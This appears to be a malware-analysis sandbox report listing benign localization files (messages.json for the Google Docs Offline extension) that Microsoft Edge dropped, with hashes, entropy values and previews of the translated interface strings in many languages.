Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1719
Entropy (8bit):	4.287702203591075
Encrypted:	false
SSDEEP:	48:65/5EKaDMw6pEf4I5+jSksOTJqQyrFO8C:65/5EKaAw6pEf4I5+vsOVqQyFO8C
MD5:	3B98C4ED8874A160C3789FEAD5553CFA
SHA1:	5550D0EC548335293D962AAA96B6443DD8ABB9F6
SHA-256:	ADEB082A9C754DFD5A9D47340A3DDCC19BF9C7EFA6E629A2F1796305F1C9A66F
SHA-512:	5139B6C6DF9459C7B5CDC08A98348891499408CD75B46519BA3AC29E99AAAFCC5911A1DEE6C3A57E3413DBD0FAE72D7CBC676027248DCE6364377982B5CE4151
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ...".. },.. "explanationofflinedisabled": {.. "message": "...... ...... ..... ......... ....... ....... ..... Google ....... ............, Google ....... .............. .......... .. ... ..... .... ...... ......... ...... ...... ...... .... .... ....".. },.. "explanationofflineenabled": {.. "message": "...... ...... ...., ..... ...... ...... ...... .... ....... ... ..... .... .... ... .....".. },.. "extdesc": {.. "message": "..... ..

C:\Users\user\AppData\Local\Temp\scoped_dir5448_1226484613\CRX_INSTALL\_locales\ms\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	936
Entropy (8bit):	4.457879437756106
Encrypted:	false
SSDEEP:	24:1HARXIqhmemNKsE27rhdfNLChtyo2JJ/YgTgin:iIqFC7lrDfNLCIBRzn
MD5:	7D273824B1E22426C033FF5D8D7162B7
SHA1:	EADBE9DBE5519BD60458B3551BDFC36A10049DD1
SHA-256:	2824CF97513DC3ECC261F378BFD595AE95A5997E9D1C63F5731A58B1F8CD54F9
SHA-512:	E5B611BBFAB24C9924D1D5E1774925433C65C322769E1F3B116254B1E9C69B6DF1BE7828141EEBBF7524DD179875D40C1D8F29C4FB86D663B8A365C6C60421A7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BAHARU".. },.. "explanationofflinedisabled": {.. "message": "Anda berada di luar talian. Untuk menggunakan Google Docs tanpa sambungan Internet, pergi ke tetapan di halaman utama Google Docs dan hidupkan penyegerakan luar talian apabila anda disambungkan ke Internet selepas ini.".. },.. "explanationofflineenabled": {.. "message": "Anda berada di luar talian, tetapi anda masih boleh mengedit fail yang tersedia atau buat fail baharu.".. },.. "extdesc": {.. "message": "Edit, buat dan lihat dokumen, hamparan dan pembentangan anda . kesemuanya tanpa akses Internet.".. },.. "extname": {.. "message": "Google Docs Luar Talian".. },.. "learnmore": {.. "message": "Ketahui Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit dan bekerjasama di mana-mana sahaja anda berada, dengan atau tanpa sambungan Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5448_1226484613\CRX_INSTALL\_locales\my\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3830
Entropy (8bit):	3.5483353063347587
Encrypted:	false
SSDEEP:	48:Ya+Ivxy6ur1+j3P7Xgr5ELkpeCgygyOxONHO3pj6H57ODyOXOVp6:8Uspsj3P3ty2a66xl09
MD5:	342335A22F1886B8BC92008597326B24
SHA1:	2CB04F892E430DCD7705C02BF0A8619354515513
SHA-256:	243BEFBD6B67A21433DCC97DC1A728896D3A070DC20055EB04D644E1BB955FE7
SHA-512:	CD344D060E30242E5A4705547E807CE3CE2231EE983BB9A8AD22B3E7598A7EC87399094B04A80245AD51D039370F09D74FE54C0B0738583884A73F0C7E888AD8
Malicious:	false
Preview:	{"createnew":{"message":"\u1021\u101e\u1005\u103a \u1015\u103c\u102f\u101c\u102f\u1015\u103a\u101b\u1014\u103a"},"explanationofflinedisabled":{"message":"\u101e\u1004\u103a \u1021\u1031\u102c\u1037\u1016\u103a\u101c\u102d\u102f\u1004\u103a\u1038\u1016\u103c\u1005\u103a\u1014\u1031\u1015\u102b\u101e\u100a\u103a\u104b \u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u1019\u103e\u102f \u1019\u101b\u103e\u102d\u1018\u1032 Google Docs \u1000\u102d\u102f \u1021\u101e\u102f\u1036\u1038\u1015\u103c\u102f\u101b\u1014\u103a \u1014\u1031\u102c\u1000\u103a\u1010\u1005\u103a\u1000\u103c\u102d\u1019\u103a \u101e\u1004\u103a\u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u101e\u100a\u1037\u103a\u1021\u1001\u102b Google Docs \u1015\u1004\u103a\u1019\u1005\u102c\u1019\u103b\u1000\u103a\u1014\u103e\u102c\u101b\u103e\u102d \u1006\u1000\u103a\u1010\u1004\u103a\u1019\u103b\u102c\u1038\u101e\u102d\u102f\u1037\u1

C:\Users\user\AppData\Local\Temp\scoped_dir5448_1226484613\CRX_INSTALL\_locales\ne\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1898
Entropy (8bit):	4.187050294267571
Encrypted:	false
SSDEEP:	24:1HAmQ6ZSWfAx6fLMr48tE/cAbJtUZJScSIQoAfboFMiQ9pdvz48YgqG:TQ6W6MbkcAltUJxQdfbqQ9pp0gqG
MD5:	B1083DA5EC718D1F2F093BD3D1FB4F37
SHA1:	74B6F050D918448396642765DEF1AD5390AB5282
SHA-256:	E6ED0A023EF31705CCCBAF1E07F2B4B2279059296B5CA973D2070417BA16F790
SHA-512:	7102B90ABBE2C811E8EE2F1886A73B1298D4F3D5D05F0FFDB57CF78B9A49A25023A290B255BAA4895BB150B388BAFD9F8432650B8C70A1A9A75083FFFCD74F1A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... ....... .........".. },.. "explanationofflinedisabled": {.. "message": "..... ...... .......... .... ........ .... .... Google ........ ...... .... ..... ..... ... .......... ....... .... Google ........ .......... ..... .......... .. ...... ..... .... ..... ......... .. ..........".. },.. "explanationofflineenabled": {.. "message": "..... ...... ........., .. ..... ... ... ...... ....... ....... .. .... ....... ....

C:\Users\user\AppData\Local\Temp\scoped_dir5448_1226484613\CRX_INSTALL\_locales\nl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.513485418448461
Encrypted:	false
SSDEEP:	12:1HASvgFARCBxNBv52/fXjOXl6W6ICBxeBvMzU1CSUJAO6SFAIVIbCBhZHdb1tvz+:1HABJx4X6QDwEzlm2uGvYzKU
MD5:	32DF72F14BE59A9BC9777113A8B21DE6
SHA1:	2A8D9B9A998453144307DD0B700A76E783062AD0
SHA-256:	F3FE1FFCB182183B76E1B46C4463168C746A38E461FD25CA91FF2A40846F1D61
SHA-512:	E0966F5CCA5A8A6D91C58D716E662E892D1C3441DAA5D632E5E843839BB989F620D8AC33ED3EDBAFE18D7306B40CD0C4639E5A4E04DA2C598331DACEC2112AAD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NIEUW MAKEN".. },.. "explanationofflinedisabled": {.. "message": "Je bent offline. Wil je Google Documenten zonder internetverbinding gebruiken, ga dan de volgende keer dat je verbinding met internet hebt naar 'Instellingen' op de homepage van Google Documenten en zet 'Offline synchronisatie' aan.".. },.. "explanationofflineenabled": {.. "message": "Je bent offline, maar je kunt nog wel beschikbare bestanden bewerken of nieuwe bestanden maken.".. },.. "extdesc": {.. "message": "Bewerk, maak en bekijk je documenten, spreadsheets en presentaties. Allemaal zonder internettoegang.".. },.. "extname": {.. "message": "Offline Documenten".. },.. "learnmore": {.. "message": "Meer informatie".. },.. "popuphelptext": {.. "message": "Overal schrijven, bewerken en samenwerken, met of zonder internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5448_1226484613\CRX_INSTALL\_locales\no\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	878
Entropy (8bit):	4.4541485835627475
Encrypted:	false
SSDEEP:	24:1HAqwwrJ6wky68uk+NILxRGJwBvDyrj9V:nwwQwky6W+NwswVyT
MD5:	A1744B0F53CCF889955B95108367F9C8
SHA1:	6A5A6771DFF13DCB4FD425ED839BA100B7123DE0
SHA-256:	21CEFF02B45A4BFD60D144879DFA9F427949A027DD49A3EB0E9E345BD0B7C9A8
SHA-512:	F55E43F14514EECB89F6727A0D3C234149609020A516B193542B5964D2536D192F40CC12D377E70C683C269A1BDCDE1C6A0E634AA84A164775CFFE776536A961
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPPRETT NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du er uten nett. For . bruke Google Dokumenter uten internettilkobling, g. til innstillingene p. Google Dokumenter-nettsiden og sl. p. synkronisering uten nett neste gang du er koblet til Internett.".. },.. "explanationofflineenabled": {.. "message": "Du er uten nett, men du kan likevel endre tilgjengelige filer eller opprette nye.".. },.. "extdesc": {.. "message": "Rediger, opprett og se dokumentene, regnearkene og presentasjonene dine . uten nettilgang.".. },.. "extname": {.. "message": "Google Dokumenter uten nett".. },.. "learnmore": {.. "message": "Finn ut mer".. },.. "popuphelptext": {.. "message": "Skriv, rediger eller samarbeid uansett hvor du er, med eller uten internettilkobling.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5448_1226484613\CRX_INSTALL\_locales\pa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2766
Entropy (8bit):	3.839730779948262
Encrypted:	false
SSDEEP:	48:YEH6/o0iZbNCbDMUcipdkNtQjsGKIhO9aBjj/nxt9o5nDAj3:p6wbZbEbvJ8jQkIhO9aBjb/90Ab
MD5:	97F769F51B83D35C260D1F8CFD7990AF
SHA1:	0D59A76564B0AEE31D0A074305905472F740CECA
SHA-256:	BBD37D41B7DE6F93948FA2437A7699D4C30A3C39E736179702F212CB36A3133C
SHA-512:	D91F5E2D22FC2D7F73C1F1C4AF79DB98FCFD1C7804069AE9B2348CBC729A6D2DFF7FB6F44D152B0BDABA6E0D05DFF54987E8472C081C4D39315CEC2CBC593816
Malicious:	false
Preview:	{"createnew":{"message":"\u0a28\u0a35\u0a3e\u0a02 \u0a2c\u0a23\u0a3e\u0a13"},"explanationofflinedisabled":{"message":"\u0a24\u0a41\u0a38\u0a40\u0a02 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a39\u0a4b\u0964 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a15\u0a28\u0a48\u0a15\u0a36\u0a28 \u0a26\u0a47 \u0a2c\u0a3f\u0a28\u0a3e\u0a02 Google Docs \u0a28\u0a42\u0a70 \u0a35\u0a30\u0a24\u0a23 \u0a32\u0a08, \u0a05\u0a17\u0a32\u0a40 \u0a35\u0a3e\u0a30 \u0a1c\u0a26\u0a4b\u0a02 \u0a24\u0a41\u0a38\u0a40\u0a02 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a26\u0a47 \u0a28\u0a3e\u0a32 \u0a15\u0a28\u0a48\u0a15\u0a1f \u0a39\u0a4b\u0a35\u0a4b \u0a24\u0a3e\u0a02 Google Docs \u0a2e\u0a41\u0a71\u0a16 \u0a2a\u0a70\u0a28\u0a47 '\u0a24\u0a47 \u0a38\u0a48\u0a1f\u0a3f\u0a70\u0a17\u0a3e\u0a02 \u0a35\u0a3f\u0a71\u0a1a \u0a1c\u0a3e\u0a13 \u0a05\u0a24\u0a47 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a38\u0a3f\u0a70\u0a15 \u0a28\u0a42\u0a70 \u0a1a\u0a3e\u0a32\u0a42 \u0a15\u0a30\u0a4b\u0964"},"expla

C:\Users\user\AppData\Local\Temp\scoped_dir5448_1226484613\CRX_INSTALL\_locales\pl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	978
Entropy (8bit):	4.879137540019932
Encrypted:	false
SSDEEP:	24:1HApiJiRelvm3wi8QAYcbm24sK+tFJaSDD:FJMx3whxYcbNp
MD5:	B8D55E4E3B9619784AECA61BA15C9C0F
SHA1:	B4A9C9885FBEB78635957296FDDD12579FEFA033
SHA-256:	E00FF20437599A5C184CA0C79546CB6500171A95E5F24B9B5535E89A89D3EC3D
SHA-512:	266589116EEE223056391C65808255EDAE10EB6DC5C26655D96F8178A41E283B06360AB8E08AC3857D172023C4F616EF073D0BEA770A3B3DD3EE74F5FFB2296B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "UTW.RZ NOWY".. },.. "explanationofflinedisabled": {.. "message": "Jeste. offline. Aby korzysta. z Dokument.w Google bez po..czenia internetowego, otw.rz ustawienia na stronie g..wnej Dokument.w Google i w..cz synchronizacj. offline nast.pnym razem, gdy b.dziesz mie. dost.p do internetu.".. },.. "explanationofflineenabled": {.. "message": "Jeste. offline, ale nadal mo.esz edytowa. dost.pne pliki i tworzy. nowe.".. },.. "extdesc": {.. "message": "Edytuj, tw.rz i wy.wietlaj swoje dokumenty, arkusze kalkulacyjne oraz prezentacje bez konieczno.ci ..czenia si. z internetem.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Wi.cej informacji".. },.. "popuphelptext": {.. "message": "Pisz, edytuj i wsp..pracuj, gdziekolwiek jeste. . niezale.nie od tego, czy masz po..czenie z internetem.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5448_1226484613\CRX_INSTALL\_locales\pt_BR\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	907
Entropy (8bit):	4.599411354657937
Encrypted:	false
SSDEEP:	12:1HASvgU30CBxNd6GwXOK1styCJ02OK9+4KbCBxed6X4LBAt4rXgUCSUuYDHIIQka:1HAcXlyCJ5+Tsz4LY4rXSw/Q+ftkC
MD5:	608551F7026E6BA8C0CF85D9AC11F8E3
SHA1:	87B017B2D4DA17E322AF6384F82B57B807628617
SHA-256:	A73EEA087164620FA2260D3910D3FBE302ED85F454EDB1493A4F287D42FC882F
SHA-512:	82F52F8591DB3C0469CC16D7CBFDBF9116F6D5B5D2AD02A3D8FA39CE1378C64C0EA80AB8509519027F71A89EB8BBF38A8702D9AD26C8E6E0F499BF7DA18BF747
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Voc. est. off-line. Para usar o Documentos Google sem conex.o com a Internet, na pr.xima vez que se conectar, acesse as configura..es na p.gina inicial do Documentos Google e ative a sincroniza..o off-line.".. },.. "explanationofflineenabled": {.. "message": "Voc. est. off-line, mas mesmo assim pode editar os arquivos dispon.veis ou criar novos arquivos.".. },.. "extdesc": {.. "message": "Edite, crie e veja seus documentos, planilhas e apresenta..es sem precisar de acesso . Internet.".. },.. "extname": {.. "message": "Documentos Google off-line".. },.. "learnmore": {.. "message": "Saiba mais".. },.. "popuphelptext": {.. "message": "Escreva, edite e colabore onde voc. estiver, com ou sem conex.o com a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5448_1226484613\CRX_INSTALL\_locales\pt_PT\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.604761241355716
Encrypted:	false
SSDEEP:	24:1HAcXzw8M+N0STDIjxX+qxCjKw5BKriEQFMJXkETs:zXzw0pKXbxqKw5BKri3aNY
MD5:	0963F2F3641A62A78B02825F6FA3941C
SHA1:	7E6972BEAB3D18E49857079A24FB9336BC4D2D48
SHA-256:	E93B8E7FB86D2F7DFAE57416BB1FB6EE0EEA25629B972A5922940F0023C85F90
SHA-512:	22DD42D967124DA5A2209DD05FB6AD3F5D0D2687EA956A22BA1E31C56EC09DEB53F0711CD5B24D672405358502E9D1C502659BB36CED66CAF83923B021CA0286
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est. offline. Para utilizar o Google Docs sem uma liga..o . Internet, aceda .s defini..es na p.gina inicial do Google Docs e ative a sincroniza..o offline da pr.xima vez que estiver ligado . Internet.".. },.. "explanationofflineenabled": {.. "message": "Est. offline, mas continua a poder editar os ficheiros dispon.veis ou criar novos ficheiros.".. },.. "extdesc": {.. "message": "Edite, crie e veja os documentos, as folhas de c.lculo e as apresenta..es, tudo sem precisar de aceder . Internet.".. },.. "extname": {.. "message": "Google Docs offline".. },.. "learnmore": {.. "message": "Saber mais".. },.. "popuphelptext": {.. "message": "Escreva edite e colabore onde quer que esteja, com ou sem uma liga..o . Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5448_1226484613\CRX_INSTALL\_locales\ro\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	937
Entropy (8bit):	4.686555713975264
Encrypted:	false
SSDEEP:	24:1HA8dC6e6w+uFPHf2TFMMlecFpweWV4RE:pC6KvHf4plVweCx
MD5:	BED8332AB788098D276B448EC2B33351
SHA1:	6084124A2B32F386967DA980CBE79DD86742859E
SHA-256:	085787999D78FADFF9600C9DC5E3FF4FB4EB9BE06D6BB19DF2EEF8C284BE7B20
SHA-512:	22596584D10707CC1C8179ED3ABE46EF2C314CF9C3D0685921475944B8855AAB660590F8FA1CFDCE7976B4BB3BD9ABBBF053F61F1249A325FD0094E1C95692ED
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREEAZ. UN DOCUMENT".. },.. "explanationofflinedisabled": {.. "message": "E.ti offline. Pentru a utiliza Documente Google f.r. conexiune la internet, intr. .n set.rile din pagina principal. Documente Google .i activeaz. sincronizarea offline data viitoare c.nd e.ti conectat(.) la internet.".. },.. "explanationofflineenabled": {.. "message": "E.ti offline, dar po.i .nc. s. editezi fi.ierele disponibile sau s. creezi altele.".. },.. "extdesc": {.. "message": "Editeaz., creeaz. .i acceseaz. documente, foi de calcul .i prezent.ri - totul f.r. acces la internet.".. },.. "extname": {.. "message": "Documente Google Offline".. },.. "learnmore": {.. "message": "Afl. mai multe".. },.. "popuphelptext": {.. "message": "Scrie, editeaz. .i colaboreaz. oriunde ai fi, cu sau f.r. conexiune la internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5448_1226484613\CRX_INSTALL\_locales\ru\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1337
Entropy (8bit):	4.69531415794894
Encrypted:	false
SSDEEP:	24:1HABEapHTEmxUomjsfDVs8THjqBK8/hHUg41v+Lph5eFTHQ:I/VdxUomjsre8Kh4Riph5eFU
MD5:	51D34FE303D0C90EE409A2397FCA437D
SHA1:	B4B9A7B19C62D0AA95D1F10640A5FBA628CCCA12
SHA-256:	BE733625ACD03158103D62BC0EEF272CA3F265AC30C87A6A03467481A177DAE3
SHA-512:	E8670DED44DC6EE30E5F41C8B2040CF8A463CD9A60FC31FA70EB1D4C9AC1A3558369792B5B86FA761A21F5266D5A35E5C2C39297F367DAA84159585C19EC492A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......".. },.. "explanationofflinedisabled": {.. "message": "..... ............ Google ......... ... ........., ............ . .... . ......... ............. . ......-...... . .......... .. ......... .........".. },.. "explanationofflineenabled": {.. "message": "... ........... . .......... .. ...... ......... ..... ..... . ............. .., . ....... ........ ......-.......".. },.. "extdesc": {.. "message": ".........., .............. . ............ ........., ....... . ........... ... ....... . ..........".. },.. "extname": {.. "message": "Google.......... ......".. },.. "learnmore": {.

C:\Users\user\AppData\Local\Temp\scoped_dir5448_1226484613\CRX_INSTALL\_locales\si\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2846
Entropy (8bit):	3.7416822879702547
Encrypted:	false
SSDEEP:	48:YWi+htQTKEQb3aXQYJLSWy7sTQThQTnQtQTrEmQ6kiLsegQSJFwsQGaiPn779I+S:zhiTK5b3tUGVjTGTnQiTryOLpyaxYf/S
MD5:	B8A4FD612534A171A9A03C1984BB4BDD
SHA1:	F513F7300827FE352E8ECB5BD4BB1729F3A0E22A
SHA-256:	54241EBE651A8344235CC47AFD274C080ABAEBC8C3A25AFB95D8373B6A5670A2
SHA-512:	C03E35BFDE546AEB3245024EF721E7E606327581EFE9EAF8C5B11989D9033BDB58437041A5CB6D567BAA05466B6AAF054C47F976FD940EEEDF69FDF80D79095B
Malicious:	false
Preview:	{"createnew":{"message":"\u0db1\u0dc0 \u0dbd\u0dda\u0d9b\u0db1\u0dba\u0d9a\u0dca \u0dc3\u0dcf\u0daf\u0db1\u0dca\u0db1"},"explanationofflinedisabled":{"message":"\u0d94\u0db6 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2\u0dba. \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd \u0dc3\u0db8\u0dca\u0db6\u0db1\u0dca\u0db0\u0dad\u0dcf\u0dc0\u0d9a\u0dca \u0db1\u0ddc\u0db8\u0dd0\u0dad\u0dd2\u0dc0 Google Docs \u0db7\u0dcf\u0dc0\u0dd2\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8\u0da7, Google Docs \u0db8\u0dd4\u0dbd\u0dca \u0db4\u0dd2\u0da7\u0dd4\u0dc0 \u0db8\u0dad \u0dc3\u0dd0\u0d9a\u0dc3\u0dd3\u0db8\u0dca \u0dc0\u0dd9\u0dad \u0d9c\u0ddc\u0dc3\u0dca \u0d94\u0db6 \u0d8a\u0dc5\u0d9f \u0d85\u0dc0\u0dc3\u0dca\u0dae\u0dcf\u0dc0\u0dda \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd\u0dba\u0da7 \u0dc3\u0db6\u0dd0\u0db3\u0dd2 \u0dc0\u0dd2\u0da7 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2 \u0dc3\u0db8\u0db8\u0dd4\u0dc4\u0dd4\u0dbb\u0dca\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8 \u0d9a\u0dca\u200d\u0dbb\u0dd2\u0dba\u0dc

C:\Users\user\AppData\Local\Temp\scoped_dir5448_1226484613\CRX_INSTALL\_locales\sk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	934
Entropy (8bit):	4.882122893545996
Encrypted:	false
SSDEEP:	24:1HAF8pMv1RS4LXL22IUjdh8uJwpPqLDEtxKLhSS:hyv1RS4LXx38u36QsS
MD5:	8E55817BF7A87052F11FE554A61C52D5
SHA1:	9ABDC0725FE27967F6F6BE0DF5D6C46E2957F455
SHA-256:	903060EC9E76040B46DEB47BBB041D0B28A6816CB9B892D7342FC7DC6782F87C
SHA-512:	EFF9EC7E72B272DDE5F29123653BC056A4BC2C3C662AE3C448F8CB6A4D1865A0679B7E74C1B3189F3E262109ED6BC8F8D2BDE14AEFC8E87E0F785AE4837D01C7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVORI. NOV.".. },.. "explanationofflinedisabled": {.. "message": "Ste offline. Ak chcete pou.i. Dokumenty Google bez pripojenia na internet, po najbli..om pripojen. na internet prejdite do nastaven. na domovskej str.nke Dokumentov Google a.zapnite offline synchroniz.ciu.".. },.. "explanationofflineenabled": {.. "message": "Ste offline, no st.le m..ete upravova. dostupn. s.bory a.vytv.ra. nov..".. },.. "extdesc": {.. "message": ".prava, tvorba a.zobrazenie dokumentov, tabuliek a.prezent.ci.. To v.etko bez pr.stupu na internet.".. },.. "extname": {.. "message": "Dokumenty Google v re.ime offline".. },.. "learnmore": {.. "message": ".al.ie inform.cie".. },.. "popuphelptext": {.. "message": "P..te, upravujte a.spolupracuje, kdeko.vek ste, a.to s.pripojen.m na internet aj bez neho.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5448_1226484613\CRX_INSTALL\_locales\sl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	963
Entropy (8bit):	4.6041913416245
Encrypted:	false
SSDEEP:	12:1HASvgfECBxNFCEuKXowwJrpvPwNgEcPJJJEfWOCBxeFCJuGuU4KYXCSUXKDxX4A:1HAXMKYw8VYNLcaeDmKYLdX2zJBG5
MD5:	BFAEFEFF32813DF91C56B71B79EC2AF4
SHA1:	F8EDA2B632610972B581724D6B2F9782AC37377B
SHA-256:	AAB9CF9098294A46DC0F2FA468AFFF7CA7C323A1A0EFA70C9DB1E3A4DA05D1D4
SHA-512:	971F2BBF5E9C84DE3D31E5F2A4D1A00D891A2504F8AF6D3F75FC19056BFD059A270C4C9836AF35258ABA586A1888133FB22B484F260C1CBC2D1D17BC3B4451AA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "USTVARI NOVO".. },.. "explanationofflinedisabled": {.. "message": "Nimate vzpostavljene povezave. .e .elite uporabljati Google Dokumente brez internetne povezave, odprite nastavitve na doma.i strani Google Dokumentov in vklopite sinhronizacijo brez povezave, ko naslednji. vzpostavite internetno povezavo.".. },.. "explanationofflineenabled": {.. "message": "Nimate vzpostavljene povezave, vendar lahko .e vedno urejate razpolo.ljive datoteke ali ustvarjate nove.".. },.. "extdesc": {.. "message": "Urejajte, ustvarjajte in si ogledujte dokumente, preglednice in predstavitve . vse to brez internetnega dostopa.".. },.. "extname": {.. "message": "Google Dokumenti brez povezave".. },.. "learnmore": {.. "message": "Ve. o tem".. },.. "popuphelptext": {.. "message": "Pi.ite, urejajte in sodelujte, kjer koli ste, z internetno povezavo ali brez nje.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5448_1226484613\CRX_INSTALL\_locales\sr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1320
Entropy (8bit):	4.569671329405572
Encrypted:	false
SSDEEP:	24:1HArg/fjQg2JwrfZtUWTrw1P4epMnRGi5TBmuPDRxZQ/XtiCw/Rwh/Q9EVz:ogUg2JwDZe6rwKI8VTP9xK1CwhI94
MD5:	7F5F8933D2D078618496C67526A2B066
SHA1:	B7050E3EFA4D39548577CF47CB119FA0E246B7A4
SHA-256:	4E8B69E864F57CDDD4DC4E4FAF2C28D496874D06016BC22E8D39E0CB69552769
SHA-512:	0FBAB56629368EEF87DEEF2977CA51831BEB7DEAE98E02504E564218425C751853C4FDEAA40F51ECFE75C633128B56AE105A6EB308FD5B4A2E983013197F5DBA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ....".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. ..... ......... Google ......... ... ........ ...., ..... . .......... .. ........ ........ Google .......... . ........ ...... .............. ... ....... ... ...... ........ .. ...........".. },.. "explanationofflineenabled": {.. "message": "...... ..., ... . .... ...... .. ....... ...... . ........ ........ ... .. ....... .....".. },.. "extdesc": {.. "message": "....... . ........... ........., ...... . ............ . ....... ...... . ... . ... .. ... ........ .........".. },.. "extname": {.. "message

C:\Users\user\AppData\Local\Temp\scoped_dir5448_1226484613\CRX_INSTALL\_locales\sv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	884
Entropy (8bit):	4.627108704340797
Encrypted:	false
SSDEEP:	24:1HA0NOYT/6McbnX/yzklyOIPRQrJlvDymvBd:vNOcyHnX/yg0P4Bymn
MD5:	90D8FB448CE9C0B9BA3D07FB8DE6D7EE
SHA1:	D8688CAC0245FD7B886D0DEB51394F5DF8AE7E84
SHA-256:	64B1E422B346AB77C5D1C77142685B3FF7661D498767D104B0C24CB36D0EB859
SHA-512:	6D58F49EE3EF0D3186EA036B868B2203FE936CE30DC8E246C32E90B58D9B18C624825419346B62AF8F7D61767DBE9721957280AA3C524D3A5DFB1A3A76C00742
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKAPA NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du .r offline. Om du vill anv.nda Google Dokument utan internetuppkoppling, .ppna inst.llningarna p. Google Dokuments startsida och aktivera offlinesynkronisering n.sta g.ng du .r ansluten till internet.".. },.. "explanationofflineenabled": {.. "message": "Du .r offline, men det g.r fortfarande att redigera tillg.ngliga filer eller skapa nya.".. },.. "extdesc": {.. "message": "Redigera, skapa och visa dina dokument, kalkylark och presentationer . helt utan internet.tkomst.".. },.. "extname": {.. "message": "Google Dokument Offline".. },.. "learnmore": {.. "message": "L.s mer".. },.. "popuphelptext": {.. "message": "Skriv, redigera och samarbeta .verallt, med eller utan internetanslutning.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5448_1226484613\CRX_INSTALL\_locales\sw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	980
Entropy (8bit):	4.50673686618174
Encrypted:	false
